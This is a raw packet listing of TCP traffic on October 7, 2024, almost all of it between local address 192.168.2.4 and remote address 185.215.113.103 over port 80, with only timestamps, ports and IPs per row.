Oct 7, 2024 03:23:19.167108059 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167129040 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167139053 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167182922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167192936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167202950 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167212963 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167224884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167224884 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167241096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167247057 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167259932 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167269945 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167273045 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167284012 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167290926 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167294979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167308092 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167311907 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167319059 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167332888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167346954 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167378902 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167412043 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167422056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167432070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167440891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167452097 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167463064 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167464018 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167484999 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167505026 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167514086 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167531013 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167541981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167550087 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167553902 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167566061 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167572021 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167578936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167582035 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167607069 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167694092 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167705059 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167721987 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167732954 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167740107 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167742968 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167752981 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167754889 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167768002 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167778969 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167781115 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167797089 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167805910 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167809010 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167813063 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167819977 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167850971 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167872906 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167891026 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167901039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167911053 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167922020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167929888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167932987 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167956114 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167963028 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167969942 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167973042 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167984009 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167993069 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167994976 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168009043 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168025970 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168028116 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168041945 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168071032 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168081045 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168091059 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168102026 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168113947 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168119907 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168129921 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168138027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168160915 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168169022 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168184042 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168205023 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168225050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168262959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168272018 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168281078 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168293953 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168307066 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168317080 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168332100 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168334961 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168344975 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168354988 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168365002 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168375015 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.168375015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168396950 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.168420076 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.207704067 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207752943 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.207753897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207766056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207803011 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.207859993 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207870960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207881927 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207892895 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207897902 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.207904100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207911015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.207914114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207931995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207931995 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.207942009 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207952976 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207962036 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.207963943 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207976103 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.207978010 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208000898 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208023071 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208031893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208060026 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208070993 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208081007 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208097935 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208106995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208117962 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208122015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208127975 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208138943 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208141088 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208148956 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208165884 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208189964 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208198071 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208208084 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208218098 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208228111 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208233118 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208239079 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.208261013 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.208281994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.214627981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214646101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214658022 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214687109 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.214701891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214718103 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.214724064 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214741945 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.214765072 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.214862108 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214871883 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214881897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214891911 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214901924 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214907885 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.214912891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214922905 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214937925 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.214951038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214962006 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214965105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.214972019 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214983940 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.214988947 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.215002060 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.215012074 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.215013027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.215022087 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.215032101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.215039968 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.215048075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.215064049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.215065956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.215075970 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.215085983 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.215087891 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.215099096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.215111017 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.215137959 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.261317015 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.261328936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.261388063 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.265925884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.265938997 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.265978098 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.265990973 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.266028881 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.266041994 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.266051054 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.266068935 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.266079903 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.266099930 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.270698071 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.270709038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.270719051 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.270737886 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.270756960 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.270817041 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.270828962 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.270858049 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.270879984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.275438070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.275449991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.275458097 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.275516033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.275528908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.275536060 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.275576115 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.280194998 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.280206919 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.280215979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.280227900 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.280239105 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.280267000 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.280297995 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.284914017 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.284930944 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.284940004 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.284950972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.284955025 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.284960985 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.284972906 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.284992933 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.289689064 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.289700031 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.289746046 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.294444084 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.294507027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.294615984 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.294627905 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.294655085 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.294665098 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.299129009 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.299140930 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.299180984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.299328089 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.299340010 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.299370050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.299391031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.303836107 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.303848982 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.303858995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.303884029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.303896904 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.304078102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.304090023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.304099083 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.304122925 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.304145098 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.308545113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.308557987 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.308592081 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.308604002 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.308845997 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.308857918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.309103012 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.313226938 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.313267946 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.313544035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.313558102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.313569069 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.313577890 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.313591957 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.313616991 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.318284035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.318295956 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.318305969 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.318331003 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.318356037 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.322716951 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.322787046 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.323050976 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.323062897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.323072910 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.323101044 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.323117971 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.327523947 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.327534914 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.327575922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.327604055 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.327768087 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.327780008 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.327789068 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.327821970 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.327873945 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.332304001 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.332478046 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.332489967 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.332499027 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.332508087 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.332526922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.332528114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.332551956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.332573891 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.337188959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.337201118 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.337208986 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.337239981 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.337261915 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.370465040 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.371699095 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.374880075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.374891043 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.374937057 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.375185966 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.375197887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.375207901 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.375267029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.375267029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.376636982 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.379014015 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:19.379595041 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.379605055 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.379645109 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.379899979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.379909992 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.379945040 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.384299994 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.384315014 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.384366989 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.384607077 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.384618044 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.384628057 CEST	80	49879	185.215.113.103	192.168.2.4
